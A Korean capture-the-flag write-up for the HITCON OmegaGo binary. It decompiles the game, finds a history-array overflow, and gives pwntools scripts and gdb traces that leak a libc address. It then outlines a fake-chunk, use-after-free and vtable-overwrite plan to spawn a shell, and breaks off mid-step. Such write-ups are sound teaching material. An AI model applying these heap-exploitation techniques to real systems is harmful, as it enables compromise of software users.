List
Infomation
Description
Related file
Source Code
Write Up
File information
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac autolycos@ubuntu:~/CTF/HITCON/OmegaGo$
Binary analysis
- 다음과 같은 기능을 제공합니다.
- 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
- Ex) A19
- "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
- "regret"을 이용하여 플레이를 되돌릴 수 있습니다.
- 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS 19 X.................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ..................O Time remain: O: 180.00, X: 173.38 regret ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 surrender This AI is too strong, ah? Play history? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... piece O play at J10 Time remain: O: 180.00, X: 180.00 Play again? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00
Struct
- 해당 바이너리를 분석하기 위해 다음과 같은 구조체들이 필요합니다.
- 해당 바이너리는 C++로 개발되어 있으며 vtable을 사용하고 있습니다.
- 아래 구조체는 AI Class의 play함수를 표현하는 구조체 입니다.
struct __attribute__((aligned(8))) Method { void (__fastcall **Play)(Method *a, GameInfo *state, signed int player_number, uint32_t *row, uint32_t *col); _QWORD empty; };
- 아래 구조체는 OmegaGo의 게임 정보를 저장하는 구조체 입니다.
struct GameInfo { _QWORD board[12]; _DWORD rowNumber; _DWORD colNumber; _QWORD player; double playTimeForAI; double playTimeForHuman; };
Main()
- 해당 함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax@3 __int64 v4; // rbx@3 __int64 v5; // [rsp+8h] [rbp-18h]@1 v5 = *MK_FP(__FS__, 40LL); alarm(0xB4u); setvbuf(stdout, 0LL, 2, 0LL); while (MainFunction()); result = 0LL; v4 = *MK_FP(__FS__, 40LL) ^ v5; return result; }
MainFunction(0x401738)
- 해당 함수는 다음과 같은 기능을 합니다.
setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.
"operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.
setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.
- 각 구조체의 Play 포인터 함수에 저장되는 주소는 다음과 같습니다.
- AI→Play(0x405040)→0x40290A
- HUMAN→Play(0x405020)→0x402C12
- 할당된 Heap 영역은 게임을 재시작해도 해제되지 않습니다.
while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.
gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.
rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.
- rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
- 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
- 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
- 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
__int64 OmegaGo() { Method *AI; // rbx Method *HUMAN; // rbx unsigned int rowNumber; // [rsp+Ch] [rbp-64h] unsigned int colNumber; // [rsp+10h] [rbp-60h] int playerNum; // [rsp+14h] [rbp-5Ch] double playTime; // [rsp+18h] [rbp-58h] struct timeval startTime; // [rsp+20h] [rbp-50h] struct timeval endTime; // [rsp+30h] [rbp-40h] Method *player[2]; // [rsp+40h] [rbp-30h] unsigned __int64 v10; // [rsp+58h] [rbp-18h] v10 = __readfsqword(0x28u); setDefGameinfo(); playerNum = 1; AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); player[1] = HUMAN; while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) ) { gettimeofday(&startTime, 0LL); (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber); gettimeofday(&endTime, 0LL); playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0 + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec)); if ( rowNumber == -1 || colNumber == -1 ) break; if ( rowNumber != -2 && colNumber != -2 ) { *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] - playTime; if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 ) print("Time's up"); SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0); playerNum ^= 3u; } else if ( (unsigned __int8)regret() ^ 1 ) { print("No you cant't"); } } CheckResults(); PlayHistory(); return PlayAgain(); }
UserInput(HUMAN→Play(0x405020)→0x402C12)
해당 함수는 다음과 같은 기능을 합니다.
callPrintBoard() 함수에 의해 Borad가 출력됩니다.
scanf() 함수를 이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.
입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.
surrender : col = -1, row = -1
regret : col = -2, row = -2
- 명령어가 아닐 경우 좌표 값이 저장됩니다.
unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col) { bool areaOverflow; // al char chCol; // [rsp+37h] [rbp-9h] unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); callPrintBoard(gameInfo); memset(cmd, 0, 0xCuLL); if ( scanf("%10s", cmd) != 1 ) print("Er?"); if ( !strcmp("surrender", cmd) ) { *col = -1; *row = *col; } else if ( !strcmp("regret", cmd) ) { *col = -2; *row = *col; } else { if ( sscanf(cmd, "%c%d", &chCol, row) != 2 ) print("Input like 'A19'"); *col = chCol - 65; *row = 19 - *row; areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1; if ( areaOverflow ) print("No overflow plz."); } return __readfsqword(0x28u) ^ v10; }
SetMarkForBoard
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
입력한 위치 값이 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
"operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
즉, 사용자가 입력한 좌표 값이 Heap 영역에 저장됩니다.
취약성은 여기서 발생합니다.
GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 전역 변수에 Heap address가 Overflow됩니다.
즉, 사용자가 입력한 위치 값에 의해 Heap address를 변경 할 수 있습니다.
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt) { signed __int64 result; // rax signed int mark; // eax MAPDST bool v7; // al GameInfo *historyCount; // rax GameInfo *saveGameInfo; // ST30_8 signed int i; // [rsp+24h] [rbp-2Ch] unsigned int row; // [rsp+28h] [rbp-28h] unsigned int col; // [rsp+2Ch] [rbp-24h] if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' ) { if ( player == 1 ) mark = 'O'; else mark = 'X'; saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark); gameinfo->rowNumber = inputRow; gameinfo->colNumber = inputCol; for ( i = 0; i <= 3; ++i ) { row = dword_404FE0[i] + inputRow; col = dword_404FF0[i] + inputCol; v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1; if ( !v7 && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 ) { sub_4024C2((__int64)gameinfo, row, col); } } if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 ) { if ( !printOpt ) print("Why you do this :(("); result = 0LL; } else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) ) { if ( !printOpt ) print("Wanna Ko Fight?"); result = 0LL; } else { if ( printOpt != 1 ) { LODWORD(gameinfo->player) = mark; historyCount = (GameInfo *)operator new(0x80uLL); *historyCount = *gameinfo; saveGameInfo = historyCount; LODWORD(historyCount) = gHistoryCount++; gHistory[(signed int)historyCount] = saveGameInfo; } result = 1LL; } } else { if ( !printOpt ) print("You cheater!"); result = 0LL; } return result; }
regret()
해당 함수는 다음과 같은 기능을 합니다.
historyCnt변수의 값이 0 일 경우 해당 함수는 종료됩니다.
historyCnt변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.
DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
AI, Human의 플레이 기록을 삭제합니다.
AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.
여기서도 악용 할 수 있는 코드가 있습니다.
앞에서 설명한 취약성에 의해 gPlayerGameInfo 전역 변수(gHistory[365]) 에 Heap address가 Overflow됩니다.
사용자 입력 값을 이용해 gPlayerGameInfo 전역 변수(gHistory[365])에 저장된 Heap address를 변경합니다.
gHistory[365] : 변경된 Heap address
gHistory[366] : Heap address
gHistory[367] : Heap address
- regret() 함수가 호출되면 "history = (GameInfo *)::gHistory[historyCnt - 1];" 코드에 의해 "변경된 Heap address"를 기준으로 GameInfo를 출력하게 됩니다.
- 즉, 해당 취약성을 이용해 Libc address를 출력 할 수 있습니다.
signed __int64 __cdecl regret() { GameInfo *history; // rax if ( historyCnt <= 1 ) return 0LL; DeletePlayHistory(); // AI play history DeletePlayHistory(); // Human play history if ( ::gHistory[historyCnt - 1] ) { history = (GameInfo *)::gHistory[historyCnt - 1]; gPlayerGameInfo.board[0] = history->board[0]; gPlayerGameInfo.board[1] = history->board[1]; gPlayerGameInfo.board[2] = history->board[2]; gPlayerGameInfo.board[3] = history->board[3]; gPlayerGameInfo.board[4] = history->board[4]; gPlayerGameInfo.board[5] = history->board[5]; gPlayerGameInfo.board[6] = history->board[6]; gPlayerGameInfo.board[7] = history->board[7]; gPlayerGameInfo.board[8] = history->board[8]; gPlayerGameInfo.board[9] = history->board[9]; gPlayerGameInfo.board[10] = history->board[10]; gPlayerGameInfo.board[11] = history->board[11]; *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber; gPlayerGameInfo.player = history->player; gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0]; gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1]; } return 1LL; }
DeletePlayHistory
- 해당 함수는 다음과 같은 기능을 합니다.
- gHistory[]에 저장된 heap 영역을 해제합니다.
unsigned __int64 DeletePlayHistory() { __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( gHistory[historyCnt - 1] ) { v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]); operator delete(gHistory[historyCnt - 1]); sub_402FE6(&unk_607220, &v1); --historyCnt; } return __readfsqword(0x28u) ^ v2; }
Debuging
Overflow
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) p.interactive()
- 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
- gGameInfo : 0x609FC0
- gHistory : 0x609460
- gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
- 다음은 디버깅을 통해 확인한 내용입니다.
- gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491 Attaching to process 3491 gdb-peda$ x/gx 0x609FC0 0x609fc0: 0x0000000000b94da0 gdb-peda$ x/10gx 0x609FC0 0x609fc0: 0x0000000000b94da0 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000
- 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
- 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..XXO\x00.OOX\x00X....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.84 $
Decode
- 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ...Print board... Time remain: O: 180.00, X: 180.00 A19 ...Print board... Time remain: O: 180.00, X: 171.04 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000002 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000010000 gdb-peda$
- 다음과 같이 추가적인 메모리의 변화를 확인합니다.
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 gdb-peda$
- Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
- Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
- 다음과 같은 bit값을 이용해 player를 구분합니다.
- AI : 10 bit
- Humman : 01bit
Mark / Player | X / O | X. / O. | XX / OO | |||
---|---|---|---|---|---|---|
bit | hex | bit | hex | bit | hex | |
AI | 10 | 0x2 | 1000 | 0x8 | 1010 | 0xA |
Humman | 01 | 0x1 | 0100 | 0x4 | 0101 | 0x5 |
- 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result
공격방식 설정
- Payload의 순서는 다음과 같습니다.
- Leak Libc Address
- Overwrite the Computer Class
- Overwrite the vtable
- 이를 조금더 자세하게 설명하면 다음과 같습니다.
- LeakLibcAddress
- Overwrites gameInfo data
- Heap address change
- Deletes the allocated heap memory.
- Overwrite the Computer Class
- Memory reallocation
- Create a UAF vulnerability(Fake chunk)
- Heap address change
- Deletes the allocated heap memory.
- Overwrite the vtable
- execve("/bin/sh")
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- Leak libc address
- Fake chunk
- execve("/bin/sh")
공격에 필요한 정보 수집
Leak Libc address
- 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
- AI GameInfo : 0x61d220
- HUMAN GameInfo : 0x61d160
- AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
- Heap address : 0x61d1f0
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 176.49 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/4gx 0x609460 0x609460: 0x000000000061cc90 0x000000000061d160 0x609470: 0x000000000061d220 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d160 - 0x10 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d220 - 0x10 0x61d210: 0x91f146e6557b6e4a 0x0000000000000091 0x61d220: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x61d1e0 0x61d1e0: 0xf90d94745f8a1984 0x0000000000000031 0x61d1f0: 0xeeda74e900000001 0x0000000000607228 gdb-peda$
- "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
- 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.
- 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
- HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
- 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
- Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. regret Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d220 0x61d220 gdb-peda$ p main_arena.top $1 = (mchunkptr) 0x61d210 gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d160 0x61d160 gdb-peda$ ni gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x61d150 gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x61d150 gdb-peda$ gdb-peda$ x/4gx 0x61d150 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x00007ffff7839b78 0x00007ffff7839b78 gdb-peda$
다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
gPlayerGameInfo(0x609fc0) : 0x1c88e30
gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
사용자 입력 값으로 "D19"를 입력합니다.
해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
"0x1c88e30" + "0x80" = 0x1c88eb0
lazenca0x0@ubuntu:~$ gdb -p 4425 gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88e30 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. Input "D19" gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88eb0 0x0000000001c88ef0 0x609fd0: 0x0000000001c88fb0 0x0000000000000000 gdb-peda$ p/x 0x1c88e30 + 0x80 $1 = 0x1c88eb0 gdb-peda$
- 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
- 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
- Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
- fd(0x1c88ef0) : 0x7f4b7d233b78
- bk(0x1c88ef8) : 0x7f4b7d233b78
- regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
- 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
- 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ ni gdb-peda$ x/4gx 0x1c88ef0 - 0x10 0x1c88ee0: 0x33bb5de964b6f848 0x0000000000000091 0x1c88ef0: 0x00007f4b7d233b78 0x00007f4b7d233b78 gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0 $2 = 0x40 gdb-peda$ c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000001c88f70 0x0000000001c83880 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x33bb5de964b6f848 0x0000000000000091 0x60a000: 0x00007f4b7d233b78 0x00007f4b7d233b78 0x60a010: 0x0000000000000000 0x0000000000000000 gdb-peda$
- 다음 코드를 이용할 수 있습니다.
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) #print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)' return result def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) p.interactive()
Create a UAF vulnerability(Fake chunk)
- 앞에서 설명한
- Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
- Player가 입력한 좌표값은 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
- Game board 정보는 Heap 영역, gameinfo 전역변수에 저장되고 있습니다.
- Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
- vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
- 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
... AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); ...
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
0x0 | 0x8 | |
---|---|---|
0x00 | 0000000000000000 | 0000000000000000 |
0x10 | 0000000000000000 | 0000000000000020 |
0x20 | 0000000000000000 | 0000010000000000 |
0x30 | 0000000000000000 | 0000000000000020 |
0x40 | 0000000000000000 | 0000000000000000 |
0x50 | 0000000000000000 | 0000000000000000 |
0x60 | 0000000900000009 | 000000000000004F |
0x70 | 40665799D0203E64 | 4066800000000000 |
0x80 | 0000000000000000 | 0000000000000031 |
- 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
- "surrender" 명령어를 3번 실행합니다.
- Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
Fake chunk 좌표값(D14, R8)을 입력합니다.
- gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
- 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
- 좌표값 'P1', '01'
- "surrender" 명령어를 실행합니다.
